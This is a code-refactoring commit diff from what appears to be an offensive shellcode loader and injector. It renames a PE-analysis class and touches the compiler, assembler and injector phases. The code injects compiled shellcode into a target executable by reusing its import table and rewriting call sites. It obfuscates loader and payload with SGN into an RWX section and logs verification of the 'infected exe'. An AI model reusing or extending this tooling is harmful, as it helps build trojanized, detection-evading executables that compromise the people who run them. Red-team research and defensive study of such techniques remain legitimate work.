refactor: ExeCapabilities -> ExeInfo

model.py

@@ -22,13 +22,16 @@ class Capability():
         )
 
 
-class ExeCapabilities():
+class ExeInfo():
     def __init__(self, capabilities):
         self.capabilities: Dict[str, Capability] = {}
         self.image_base = 0
-        self.text_virtaddr = 0
         self.dynamic_base = False
 
+        self.code_virtaddr = 0
+        self.code_size = 0
+        self.code_section = None
+
         self.iat = {}
         self.base_relocs = []
         self.rwx_section = None
@@ -53,9 +56,9 @@ class ExeCapabilities():
             self.dynamic_base = False
 
         # .text virtual address
-        for section in pe.sections:
-            if section.Name.decode().rstrip('\x00') == '.text':
-                self.text_virtaddr = section.VirtualAddress
+        self.code_section = pehelper.get_code_section(pe)
+        self.code_virtaddr = self.code_section.VirtualAddress
+        self.code_rawsize = self.code_section.SizeOfRawData
 
         # iat
         iat = pehelper.extract_iat(pe) 

pehelper.py

@@ -5,8 +5,7 @@ from keystone import Ks, KS_ARCH_X86, KS_MODE_64
 from capstone import Cs, CS_ARCH_X86, CS_MODE_64
 import logging
 
-from model import *
-from helper import *
+from defs import *
 
 logger = logging.getLogger("PEHelper")
 

phases/assembler.py

@@ -4,6 +4,7 @@ from model import *
 from config import config
 from observer import observer
 from pehelper import *
+from helper import *
 
 logger = logging.getLogger("Assembler")
 

phases/compiler.py

@@ -16,7 +16,7 @@ def compile(
     c_in: FilePath, 
     asm_out: FilePath,
     payload_len: int, 
-    exe_capabilities: ExeCapabilities
+    exe_info: ExeInfo
 ):
     logger.info("--[ Compile C to ASM: {} -> {} ".format(c_in, asm_out))
 
@@ -36,7 +36,7 @@ def compile(
 
     # Phase 1.2: Assembly fixup
     logger.info("---[ Fixup  : {} ".format(asm_out))
-    if not fixup_asm_file(asm_out, payload_len, exe_capabilities):
+    if not fixup_asm_file(asm_out, payload_len, exe_info):
         raise Exception("Error: Fixup failed")
     observer.add_text("payload_asm_fixup", file_readall_text(asm_out))
 
@@ -63,7 +63,7 @@ def bytes_to_asm_db(byte_data: bytes) -> bytes:
     return "\tDB " + formatted_string
 
 
-def fixup_asm_file(filename: FilePath, payload_len: int, capabilities: ExeCapabilities):
+def fixup_asm_file(filename: FilePath, payload_len: int, capabilities: ExeInfo):
     with open(filename, 'r', encoding='utf-8') as asmfile:
         lines = asmfile.readlines()
 

phases/injector.py

@@ -14,7 +14,7 @@ def inject_exe(
     shellcode_in: FilePath,
     exe_in: FilePath,
     exe_out: FilePath,
-    exe_capabilities: ExeCapabilities,
+    exe_info: ExeInfo,
 ):
     logger.info("--[ Injecting: {} into: {} -> {} ".format(
         shellcode_in, exe_in, exe_out
@@ -38,12 +38,12 @@ def inject_exe(
     if project.source_style == SourceStyle.iat_reuse:
         # get code section of exe_out
         code = extract_code_from_exe(exe_out)
-        for cap in exe_capabilities.get_all().values():
+        for cap in exe_info.get_all().values():
             if not cap.id in code:
                 raise Exception("Capability ID {} not found, abort".format(cap.id))
             
             off = code.index(cap.id)
-            current_address = off + exe_capabilities.image_base + exe_capabilities.text_virtaddr
+            current_address = off + exe_info.image_base + exe_info.code_virtaddr
             destination_address = cap.addr
             logger.info("    Replace at 0x{:x} with call to 0x{:x}".format(
                 current_address, destination_address

project.py

@@ -14,11 +14,12 @@ class Project():
         self.decoder_style: DecoderStyle = DecoderStyle.PLAIN_1
         self.dataref_style: DataRefStyle = DataRefStyle.APPEND
 
+        # Injectable
         self.inject: bool = False
         self.inject_mode: str = "1,1"
         self.inject_exe_in: FilePath = ""
         self.inject_exe_out: FilePath = ""
-        self.exe_capabilities: ExeCapabilities = None
+        self.exe_info: ExeInfo = None
 
         # debug
         self.show_command_output = False
@@ -42,4 +43,9 @@ class Project():
             self.payload_data = input2.read()
 
 
+    def load_injectable(self, tmp_caps):
+        self.exe_info = ExeInfo(tmp_caps)
+        self.exe_info.parse_from_exe(self.inject_exe_in)
+        
+
 project = Project()

supermega.py

@@ -137,19 +137,16 @@ def start():
         clean_files()
         delete_all_files_in_directory("logs/")
 
-    # Load our payload
+    # Load our input
     project.load_payload()
-
-    # Check: Destination EXE capabilities
-    project.exe_capabilities = ExeCapabilities([
+    project.load_injectable([
         "GetEnvironmentVariableW",
         "VirtualAlloc"
     ])
-    project.exe_capabilities.parse_from_exe(project.inject_exe_in)
-    project.exe_capabilities.print()
+    project.exe_info.print()
 
     # choose which source / technique we gonna use
-    if project.exe_capabilities.has_all():
+    if project.exe_info.has_all():
         project.source_style = SourceStyle.iat_reuse
     else:
         logger.info("--[ Some imports are missing for the shellcode to use IAT_REUSE")
@@ -169,8 +166,8 @@ def start():
         phases.compiler.compile(
             c_in = main_c_file, 
             asm_out = main_asm_file, 
-            payload_len = project.payload_length, 
-            exe_capabilities = project.exe_capabilities)
+            payload_len = len(project.payload_data), 
+            exe_info = project.exe_info)
 
     # Assemble: ASM -> Shellcode
     if project.generate_shc_from_asm:
@@ -205,9 +202,9 @@ def start():
         shutil.copyfile(main_shc_file, os.path.join("out/", os.path.basename(main_shc_file)))
 
     # RWX Injection
-    if project.exe_capabilities.rwx_section != None:
+    if project.exe_info.rwx_section != None:
         logger.info("--[ RWX section {} found. Will obfuscate loader+payload and inject into it".format(
-            project.exe_capabilities.rwx_section.Name.decode().rstrip('\x00')
+            project.exe_info.rwx_section.Name.decode().rstrip('\x00')
         ))
         obfuscate_shc_loader(main_shc_file, main_shc_file + ".sgn")
         observer.add_code("payload_sgn", file_readall_binary(main_shc_file + ".sgn"))
@@ -220,7 +217,7 @@ def start():
             shellcode_in = main_shc_file,
             exe_in = project.inject_exe_in,
             exe_out = project.inject_exe_out,
-            exe_capabilities = project.exe_capabilities
+            exe_info = project.exe_info
         )
         if project.verify:
             logger.info("--[ Verify infected exe")